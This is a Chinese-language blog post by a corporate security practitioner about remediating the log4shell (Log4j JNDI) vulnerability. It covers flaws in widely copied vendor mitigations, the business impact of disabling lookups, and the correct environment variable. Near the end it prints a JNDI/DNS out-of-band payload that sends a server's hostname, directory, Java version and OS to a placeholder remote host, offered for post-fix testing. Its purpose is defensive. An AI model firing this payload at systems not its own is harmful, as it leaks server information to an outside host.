最近log4shell的漏洞可以称之为赛博界的核爆,无论是对甲方还是乙方,防守方还是攻击方,对所有人都是一场浩劫。我们学了十几年技术攻防,技术壁垒越来越高,结果一夜回到解放前,不得不说是非常打击信心的容易让人产生信仰动摇。
anyway,事情发生了,那作为甲方的一员还是得好好应对。面对网上铺天盖地的关于这个漏洞的修复方案,我们也没有时间思考只能照着做。现在冷静下来,我才发现有不少地方存在着坑,而这些坑那些拼命刷存在感的厂商是不会告诉你的,因为他们要抢头条消息。下面我整理一下我现在的一些关于修复上的想法和遇到的坑。
首先肯定靠已经有的一些安全设备来做防护,比如拼命加waf的各种规则,虽然这存在绕过不过总是能防止一些脚本小子来给后续的修复争取时间。其次如果你用了rasp,那么恭喜你这个确实可以第一时间阻止漏洞执行,但是也要考虑两点:
你的waf、rasp、hids之类的产品打印日志本身是否存在漏洞,你的soc本身是否存在漏洞
你的rasp的覆盖面是否包含到一些非自身开发的资产,比如开源的、采购的等
如果安全产品本身有问题,建议马上升级log4j版本,至于怎么升级这块下面会说,因为还是有些地方要注意
关于这个临时修复方案我不得不吐槽,所有乙方厂家的公众号都是抄的,里面存在一些问题并没有明确说明,甚至还有无效的修复方案!比如这段:
这段是最早流出来的修复建议,几乎所有公众号都写的这段,这里面有几个问题:
nolookups设置成true确实可以避免漏洞,但是是否存在业务侧的影响?
设置系统环境变量的方式给出的key值是错误的并不生效
jdk版本高了确实可以防止rce,但是不能防止敏感信息外带
刚看了看,某司在后续的通告里对修复方案进行了一些调整,这也确实值得肯定的
但如果你是甲方,上面的修复方案你依旧要谨慎。还是我前面说的那三个问题,我一个个来说一下
nolookups为true的时候意味着关闭lookup,那么这个影响到底是什么呢?三梦师傅测试了一下答案是这样的:
也就是说如果开发在log4j的XML配置文件里配置的这种替换是没有影响的,即使你关闭了lookup也依然能保证替换正常。但是如果你的开发者的开发习惯是在输出的时候直接拼接语句比如 log.error("${sys:java.version}"+"xxxxx")
,那么这时候关闭了lookup会导致打印不出java version而是原样打印。那如果开发者真的这么做了然后我们关闭了lookup这会造成什么问题呢?
轻微的可能会导致后续打印的排错日志不具备排错价值,导致无法排障
如果你的告警分析用到了lookup以后的值,那么很可能出故障了告警也不会响
如果你的日志传递给下游程序做分析,那么这个日志和预期不一样可能导致下游分析出错
因此,我们不可以盲目的关闭lookup,毕竟你永远不知道你的码农、GitHub的码农他们到底是怎么写代码的。至少要知道有这种潜在的风险在进行风险评估后推送修复。
我们看到最开始的修复方案里有三个等效的措施:
jvm参数 -Dlog4j2.formatMsgNoLookups=true
在应用程序的classpath下添加log4j2.component.properties配置文件文件,文件内容:log4j2.formatMsgNoLookups=True
设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
这三个是等效的,也就是说设置其中一个就行了,理想上我偏向于推送系统环境变量,因为这个最简单,运维可以直接推送,而且是全局的,当然其他也是可以的。但实际上呢?有下面两个问题:
这三个在2.10以下均处于失效状态,如果你第一时间推送了这三个那么你要注意点
系统环境变量这个key值是错误的,某司第二次公告把它去掉了
但实际上呢,如果你一开始只接推了初版修复方案的系统环境变量,那么恭喜你,你的工作是无用的,各种意义上。经过测试后我们发现系统环境变量换成这个值才是生效的LOG4J_log4j2_formatMsgNoLookups=True
。
有的人说升级jdk版本后你最多是触发dnslog你其他啥也做不了,排查了一下自己的jdk版本后就高枕无忧了。这种想法也是片面的,经过群友周末的发酵,哪怕盲打本地gadget比较困难,现在可以确定的是最差情况下可以外带服务器上的敏感信息,比如springboot上的配置信息、系统的环境变量等。这种外带敏感信息的方式甚至可以外带出数据库密码等信息,为其他的攻击做铺垫。具体可以参考浅蓝写的文章(https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg)。
关于补丁有几个误区先聊一聊,一个是绕过的问题,所谓的绕过是指在nolookups为false的时候(也就是开启lookup)rc1才存在被绕过的风险,而nolookups在后续几个补丁内已经直接被置为true了。另一个是关于如何升级的问题,首先我们要明确几个点:
在后续的几个补丁,如rc1、rc2到刚才,nolookups都是默认为true的
在刚刚最新版本,jndi已经被默认置为false了
我们自身的资产到底有没有用到lookup
最重要的还是确定到底有没有用到lookup功能
如果用到了,那么你必须升级到最新版本(包含关闭jndi的版本),然后你还需要手动配置打开lookup(nolookups=false)。
如果你吃不准或者目前看来影响不大,你可以升级到任意修复版本先保持不动看看情况。
说到底,最稳妥的方案就是干掉log4j2的jndi后重新开启lookup避免影响业务功能。当然如果真的有傻逼码农用到了lookup里的jndi,那他应该被吊起来打,但是作为安全人员配合排查相关问题还是需要的。
由于资产情况十分复杂,即使我们自己有各种所谓的自动化平台,我也不太相信能照顾到所有的资产,所以我建议在修复后长期进行各种盲测,测试的时候可以通过如下语句:
${jndi:dns://xxx.xxx.xxx.xxx:port/${hostName} -${sys:user.dir}- ${sys:java.version} - ${java:os}}
上面这个修改一下远程vps的地址和端口,通过监听udp端口的方式来获取带外信息,如果命中了就会传递过来相关服务的名称之类的,帮助定位内部易损资产,定位后进行专项治理。
这场闹剧真是各种精彩一波三折,从这里面也看出太多的坑,我们做安全的无论是防御还是攻击,根本上都应该是围绕守护世界和平的目标来工作的(做黑产的不叫做安全),那么就应该有基本的职业操守,不管你是甲方还是乙方,给出的方案都应该细致经得起推敲,而不是复制黏贴拍拍脑子就推送出去了。公司小没事,少打几个字段多大点事,公司越大一个字段的错误产生的蝴蝶效应就可能导致整个集群雪崩。
比起RCE,对普通人来说还是业务崩溃危害更大一些,所以一定要谨慎。